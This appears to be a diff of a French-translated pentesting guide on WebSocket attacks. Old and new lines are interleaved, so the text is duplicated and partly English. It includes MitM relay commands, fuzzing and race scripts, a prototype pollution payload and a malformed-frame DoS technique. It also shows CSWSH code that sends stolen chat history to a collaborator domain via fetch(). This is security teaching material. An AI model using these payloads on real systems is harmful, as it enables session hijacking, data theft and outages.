- Une valeur aléatoire encodée en Base64 est envoyée dans l'en-tête `Sec-WebSocket-Key`, garantissant que chaque poignée de main est unique, ce qui aide à prévenir les problèmes avec les proxies de mise en cache. Cette valeur n'est pas destinée à l'authentification mais à confirmer que la réponse n'est pas générée par un serveur ou un cache mal configuré.
- L'en-tête `Sec-WebSocket-Accept` dans la réponse du serveur est un hachage de la `Sec-WebSocket-Key`, vérifiant l'intention du serveur d'ouvrir une connexion WebSocket.
- Une valeur aléatoire encodée en Base64 est envoyée dans l'en-tête `Sec-WebSocket-Key`, garantissant que chaque handshake est unique, ce qui aide à prévenir les problèmes avec les proxies de cache. Cette valeur n'est pas utilisée pour l'authentification mais pour confirmer que la réponse n'est pas générée par un serveur ou un cache mal configuré.
- L'en-tête `Sec-WebSocket-Accept` dans la réponse du serveur est un hash du `Sec-WebSocket-Key`, vérifiant l'intention du serveur d'ouvrir une connexion WebSocket.
Ces fonctionnalités garantissent que le processus de poignée de main est sécurisé et fiable, ouvrant la voie à une communication en temps réel efficace.
Ces caractéristiques assurent que le processus de handshake est sécurisé et fiable, permettant une communication temps réel efficace.
### Console Linux
Vous pouvez utiliser `websocat` pour établir une connexion brute avec un websocket.
Vous pouvez utiliser `websocat` pour établir une connexion bas-niveau avec un WebSocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
@ -54,60 +54,177 @@ Ou pour créer un serveur websocat :
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections
### MitM websocket connexions
Si vous constatez que des clients sont connectés à un **HTTP websocket** depuis votre réseau local actuel, vous pourriez essayer une [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) pour effectuer une attaque MitM entre le client et le serveur.\
Une fois que le client essaie de se connecter, vous pouvez alors utiliser :
Si vous constatez que des clients sont connectés à un **HTTP websocket** depuis votre réseau local actuel vous pouvez essayer une [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) pour effectuer une attaque MitM entre le client et le serveur.\
Une fois que le client tente de se connecter à vous, vous pouvez alors utiliser:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Énumération des Websockets
Vous pouvez utiliser l'**outil** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **pour découvrir, identifier et rechercher des** **vulnérabilités** **connues dans les websockets automatiquement.**
Vous pouvez utiliser l'**outil** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **pour découvrir, fingerprint et rechercher automatiquement des** **vulnérabilités** dans les websockets.
### Outils de débogage Websocket
- **Burp Suite** prend en charge la communication MitM des websockets de manière très similaire à la communication HTTP classique.
- L'**extension Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l'** **historique**, en définissant des **règles d'interception**, en utilisant des règles de **correspondance et de remplacement**, en utilisant **Intruder** et **AutoRepeater.**
- **Burp Suite** prend en charge les communications MitM websockets d'une manière très similaire à celle utilisée pour les communications HTTP régulières.
- L'[**socketsleuth**](https://github.com/snyk/socketsleuth) **extension Burp Suite** vous permettra de mieux gérer les communications Websocket dans Burp en récupérant l'**historique**, en définissant des **règles d'interception**, en utilisant des règles **match and replace**, et en utilisant **Intruder** et **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abréviation de "**WebSocket/Socket.io Proxy**", cet outil, écrit en Node.js, fournit une interface utilisateur pour **capturer, intercepter, envoyer des messages personnalisés** et visualiser toutes les communications WebSocket et Socket.IO entre le client et le serveur.
- [**wsrepl**](https://github.com/doyensec/wsrepl) est un **REPL websocket interactif** conçu spécifiquement pour les tests de pénétration. Il fournit une interface pour observer les **messages websocket entrants et envoyer de nouveaux**, avec un cadre facile à utiliser pour **automatiser** cette communication.
- [**https://websocketking.com/**](https://websocketking.com/) c'est un **web pour communiquer** avec d'autres webs en utilisant des **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) parmi d'autres types de communications/protocoles, il fournit un **web pour communiquer** avec d'autres webs en utilisant des **websockets.**
- [**wsrepl**](https://github.com/doyensec/wsrepl) est un **REPL websocket interactif** conçu spécifiquement pour le pentesting. Il fournit une interface pour observer les **messages websocket entrants et en envoyer de nouveaux**, avec un framework facile à utiliser pour **automatiser** cette communication.
- [**https://websocketking.com/**](https://websocketking.com/) c'est une **application web pour communiquer** avec d'autres sites en utilisant des **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) parmi d'autres types de communications/protocoles, fournit une **application web pour communiquer** avec d'autres sites en utilisant des **websockets.**
## Décryptage des Websocket
## Décryptage Websocket
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
## Laboratoire Websocket
## Websocket Lab
Dans [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course), vous avez un code pour lancer un web utilisant des websockets et dans [**ce post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) vous pouvez trouver une explication.
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation.
## Fuzzing Websocket
## Websocket Fuzzing
L'extension burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) permet désormais également de fuzzing des messages WebSocket. Vous pouvez lire plus d'informations à ce sujet [**ici**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) now allows to fuzz also WebSocket messages. You can read more infromation abou this [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
## Détournement de WebSocket entre sites (CSWSH)
### WebSocket Turbo Intruder (Burp extension)
Le **détournement de WebSocket entre sites**, également connu sous le nom de **détournement de WebSocket cross-origin**, est identifié comme un cas spécifique de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affectant les échanges de WebSocket. Cette vulnérabilité survient lorsque les échanges de WebSocket s'authentifient uniquement via des **cookies HTTP** sans **tokens CSRF** ou mesures de sécurité similaires.
PortSwigger's WebSocket Turbo Intruder brings Turbo Intruderstyle Python scripting and highrate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components:
Les attaquants peuvent en tirer parti en hébergeant une **page web malveillante** qui initie une connexion WebSocket entre sites à une application vulnérable. Par conséquent, cette connexion est considérée comme faisant partie de la session de la victime avec l'application, exploitant le manque de protection CSRF dans le mécanisme de gestion des sessions.
- Turbo Intruder: envoi de messages en volume élevé vers un seul endpoint WS en utilisant des moteurs personnalisés.
- HTTP Middleware: expose un endpoint HTTP local qui transfère les corps en tant que messages WS sur une connexion persistante, de sorte que tout scanner basé sur HTTP puisse sonder les backends WS.
Pour que cette attaque fonctionne, voici les exigences :
Basic script pattern to fuzz a WS endpoint and filter relevant responses:
```python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
- L'**authentification websocket doit être basée sur des cookies**
- Le cookie doit être accessible depuis le serveur des attaquants (cela signifie généralement **`SameSite=None`**) et aucune **protection totale des cookies** activée dans Firefox et aucun **cookie tiers bloqué** dans Chrome.
- Le serveur websocket ne doit pas vérifier l'origine de la connexion (ou cela doit être contournable)
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Utilisez des décorateurs comme `@MatchRegex(...)` pour réduire le bruit lorsque un seul message déclenche plusieurs réponses.
### Faire transiter WS derrière HTTP (HTTP Middleware)
Encapsulez une connexion WS persistante et transmettez les corps HTTP en tant que messages WS pour des tests automatisés avec des scanners HTTP :
```python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Ensuite, envoyez HTTP localement ; le corps est transmis comme le message WS :
```http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
```
Cela vous permet de piloter des backends WS tout en filtrant les événements « intéressants » (p. ex., erreurs SQLi, auth bypass, comportement de command injection).
### Gestion de Socket.IO (handshake, heartbeats, events)
Socket.IO ajoute son propre framing au-dessus de WS. Détectez-le via le paramètre de requête obligatoire `EIO` (p. ex., `EIO=4`). Maintenez la session vivante avec Ping (`2`) et Pong (`3`) et commencez la conversation avec `"40"`, puis émettez des événements comme `42["message","hello"]`.
Exemple Intruder:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Variante d'adaptateur HTTP:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
### Détection de prototype pollution côté serveur via Socket.IO
En suivant la technique de détection sûre de PortSwigger, essayez de polluer les internals d'Express en envoyant un payload comme :
```json
{"__proto__":{"initialPacket":"Polluted"}}
```
Si les greetings ou le comportement changent (par ex., echo inclut "Polluted"), vous avez probablement pollué les prototypes côté serveur. L'impact dépend des sinks atteignables ; corrélez avec les gadgets dans la section Node.js prototype pollution. Voir :
- Check [NodeJS __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
### WebSocket race conditions with Turbo Intruder
The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (doublespend, token reuse, state desync). Start from the example script and tune concurrency in `config()`.
- Apprenez la méthodologie et les alternatives dans [Race Condition](race-condition.md) (voir “RC in WebSockets”).
### WebSocket DoS: malformed frame “Ping of Death”
Créez des frames WS dont l'entête déclare une taille de payload énorme mais n'envoyez aucun corps. Certains serveurs WS font confiance à la longueur et préallouent des buffers ; la fixer proche de `Integer.MAX_VALUE` peut provoquer un OutOfMemory et un DoS distant non authentifié. Voir le script d'exemple.
### CLI and debugging
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
- Activez le WS Logger pour capturer et corréler les messages en utilisant des IDs internes.
- Utilisez les helpers `inc*`/`dec*` sur `Connection` pour ajuster la gestion des IDs de message dans des adapters complexes.
- Les decorators comme `@PingPong`/`@Pong` et les helpers comme `isInteresting()` réduisent le bruit et maintiennent les sessions ouvertes.
### Operational safety
Le fuzzing WS à haut débit peut ouvrir de nombreuses connexions et envoyer des milliers de messages par seconde. Les frames malformés et les taux élevés peuvent provoquer de véritables DoS. N'utilisez ceci que là où c'est autorisé.
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, est identifié comme un cas spécifique de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affectant les handshakes WebSocket. Cette vulnérabilité survient lorsque les handshakes WebSocket authentifient uniquement via des **HTTP cookies** sans **CSRF tokens** ni mesures de sécurité similaires.
Les attaquants peuvent exploiter cela en hébergeant une **malicious web page** qui initie une connexion cross-site WebSocket vers une application vulnérable. En conséquence, cette connexion est traitée comme faisant partie de la session de la victime avec l'application, exploitant l'absence de protection CSRF dans le mécanisme de gestion de session.
Pour que cette attaque fonctionne, les conditions suivantes doivent être réunies :
- L'authentification WebSocket **doit être basée sur des cookies**
- Le cookie doit être accessible depuis le serveur de l'attaquant (généralement **`SameSite=None`**) ; il ne doit pas y avoir **Firefox Total Cookie Protection** activé dans Firefox ni **blocked third-party cookies** dans Chrome.
- Le serveur WebSocket ne doit pas vérifier l'origine de la connexion (ou cela doit être contournable)
Aussi :
- Si l'authentification est basée sur une connexion locale (vers localhost ou un réseau local), l'attaque **sera possible** car aucune protection actuelle ne l'interdit (voir [plus d'infos ici](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
- Si l'authentification est basée sur une connexion locale (vers localhost ou un réseau local), l'attaque **sera possible** car aucune protection actuelle ne l'interdit (voir [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
### Attaque Simple
### Attaque simple
Notez que lors de l'**établissement** d'une connexion **websocket**, le **cookie** est **envoyé** au serveur. Le **serveur** peut l'utiliser pour **relier** chaque **utilisateur spécifique** à sa **session websocket basée sur le cookie envoyé**.
Notez que lors de l'**établissement** d'une **connexion websocket**, le **cookie** est **envoyé** au serveur. Le **serveur** peut l'utiliser pour **associer** chaque **utilisateur spécifique** à sa **session websocket basée sur le cookie envoyé**.
Ensuite, si par **exemple** le **serveur websocket** **renvoie l'historique de la conversation** d'un utilisateur si un msg avec "**READY"** est envoyé, alors un **XSS simple** établissant la connexion (le **cookie** sera **envoyé** **automatiquement** pour autoriser l'utilisateur victime) **en envoyant** "**READY**" pourra **récupérer** l'historique de la **conversation**.
Ensuite, si par **exemple** le **serveur websocket** **renvoie l'historique de la conversation** d'un utilisateur lorsqu'un message contenant "**READY**" est envoyé, alors une **simple XSS** établissant la connexion (le **cookie** sera **envoyé** **automatiquement** pour authentifier l'utilisateur victime) **envoyant** "**READY**" pourra **récupérer** l'historique de la **conversation**.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -124,11 +241,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
```
### Cross Origin + Cookie avec un sous-domaine différent
Dans cet article de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), l'attaquant a réussi à **exécuter du Javascript arbitraire dans un sous-domaine** du domaine où la communication par websocket avait lieu. Comme c'était un **sous-domaine**, le **cookie** était **envoyé**, et parce que le **Websocket ne vérifiait pas correctement l'Origin**, il était possible de communiquer avec lui et **de voler des tokens**.
Dans ce billet de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) l'attaquant a réussi à **execute arbitrary Javascript in a subdomain** du domaine où la communication du web socket avait lieu. Comme il s'agissait d'un **subdomain**, le **cookie** était **sent**, et comme le **Websocket didn't check the Origin properly**, il a été possible de communiquer avec lui et de **steal tokens from it**.
### Vol de données de l'utilisateur
### Voler des données d'un utilisateur
Copiez l'application web que vous souhaitez usurper (les fichiers .html par exemple) et à l'intérieur du script où la communication par websocket a lieu, ajoutez ce code :
Copiez l'application web que vous voulez usurper (les fichiers .html par exemple) et, dans le script où la communication websocket a lieu, ajoutez ce code :
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
@ -149,41 +266,50 @@ return messageEvent
}
```
Téléchargez maintenant le fichier `wsHook.js` depuis [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) et **enregistrez-le dans le dossier contenant les fichiers web**.\
En exposant l'application web et en faisant en sorte qu'un utilisateur s'y connecte, vous pourrez voler les messages envoyés et reçus via websocket :
En exposant l'application web et en faisant en sorte qu'un utilisateur s'y connecte, vous pourrez voler les messages envoyés et reçus via websocket:
```javascript
sudo python3 -m http.server 80
```
### Protections CSWSH
### CSWSH Protections
L'attaque CSWSH est basée sur le fait qu'un **utilisateur se connectera à une page malveillante** qui **ouvrira une connexion websocket** à une page web où l'utilisateur est déjà connecté et s'authentifiera en tant que lui car la requête enverra les cookies de l'utilisateur.
L'attaque CSWSH repose sur le fait qu'un **utilisateur se connectera à une page malveillante** qui ouvrira une **websocket connection** vers une page web où l'utilisateur est déjà connecté et s'authentifiera en son nom, car la requête enverra les cookies de l'utilisateur.
De nos jours, il est très facile de prévenir ce problème :
- **Vérification de l'origine par le serveur websocket** : Le serveur websocket doit toujours vérifier d'où un utilisateur se connecte pour empêcher des pages inattendues de se connecter à lui.
- **Jeton d'authentification** : Au lieu de baser l'authentification sur un cookie, la connexion websocket pourrait être basée sur un jeton généré par le serveur pour l'utilisateur, inconnu de l'attaquant (comme un jeton anti-CSRF).
- **Attribut de cookie SameSite** : Les cookies avec la valeur `SameSite` comme `Lax` ou `Strict` ne seront pas envoyés depuis une page d'attaquant externe vers le serveur victime, par conséquent, l'authentification basée sur les cookies ne sera pas réussie. Notez que Chrome attribue maintenant la valeur **`Lax`** aux cookies sans ce drapeau spécifié, rendant cela plus sécurisé par défaut. Cependant, les deux premières minutes après la création d'un cookie, il aura la valeur **`None`**, le rendant vulnérable pendant cette période limitée (il est également prévu que cette mesure soit supprimée à un moment donné).
- **Protection totale des cookies de Firefox** : La protection totale des cookies fonctionne en isolant les cookies au site dans lequel ils sont créés. Essentiellement, chaque site a sa propre partition de stockage de cookies pour empêcher les tiers de lier l'historique de navigation d'un utilisateur. Cela rend **CSWSH inutilisable** car le site de l'attaquant n'aura pas accès aux cookies.
- **Blocage des cookies tiers de Chrome** : Cela pourrait également empêcher l'envoi du cookie de l'utilisateur authentifié au serveur websocket même avec `SameSite=None`.
- **Websocket server checking the origin**: Le serveur websocket devrait toujours vérifier d'où un user se connecte afin d'empêcher des pages inattendues de se connecter.
- **Authentication token**: Plutôt que de baser l'authentification sur un cookie, la connexion websocket pourrait reposer sur un token généré par le serveur pour l'utilisateur et inconnu de l'attaquant (comme un anti-CSRF token)
- **SameSite Cookie attribute**: Les cookies dont la valeur `SameSite` est `Lax` ou `Strict` ne seront pas envoyés depuis une page d'attaquant externe vers le serveur victime ; par conséquent, l'authentification basée sur des cookies échouera. Notez que Chrome assigne maintenant la valeur **`Lax`** aux cookies sans ce flag spécifié, rendant cela plus sûr par défaut. Toutefois, pendant les 2 premières minutes suivant la création d'un cookie, il aura la valeur **`None`**, le rendant vulnérable pendant cette période limitée (il est également attendu que cette mesure soit retirée à un certain moment).
- **Firefox Total Cookie Protection**: Total Cookie Protection fonctionne en isolant les cookies au site dans lequel ils sont créés. Essentiellement, chaque site a sa propre partition de stockage de cookies pour empêcher des tiers de corréler l'historique de navigation d'un utilisateur. Cela rend **CSWSH inutilisable** car le site de l'attaquant n'aura pas accès aux cookies.
- **Chrome third-party cookies block**: Cela peut aussi empêcher l'envoi du cookie de l'utilisateur authentifié au serveur websocket même avec `SameSite=None`.
## Conditions de course
## Race Conditions
Les conditions de course dans les WebSockets sont également un problème, [consultez cette information pour en savoir plus](race-condition.md#rc-in-websockets).
Race Conditions in WebSockets are also a thing, [check this information to learn more](race-condition.md#rc-in-websockets).
## Autres vulnérabilités
## Other vulnerabilities
Comme les Web Sockets sont un mécanisme pour **envoyer des données côté serveur et côté client**, selon la manière dont le serveur et le client gèrent l'information, **les Web Sockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités comme XSS, SQLi ou toute autre vulnérabilité web courante utilisant l'entrée d'un utilisateur depuis un websocket.**
Comme les Web Sockets sont un mécanisme pour **send data to server side and client side**, selon la façon dont le serveur et le client traitent l'information, **Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.**
## **WebSocket Smuggling**
Cette vulnérabilité pourrait vous permettre de **contourner les restrictions des proxies inverses** en leur faisant croire qu'une **communication websocket a été établie** (même si ce n'est pas vrai). Cela pourrait permettre à un attaquant d'**accéder à des points de terminaison cachés**. Pour plus d'informations, consultez la page suivante :
This vulnerability could allow you to **bypass reverse proxies restrictions** by making them believe that a **websocket communication was stablished** (even if it isn't true). This could allow an attacker to **access hidden endpoints**. For more information check the following page:
{{#ref}}
h2c-smuggling.md
{{#endref}}
## Références
## References
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocket Turbo Intruder BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
- [Server-side prototype pollution safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
{{#include ../banners/hacktricks-training.md}}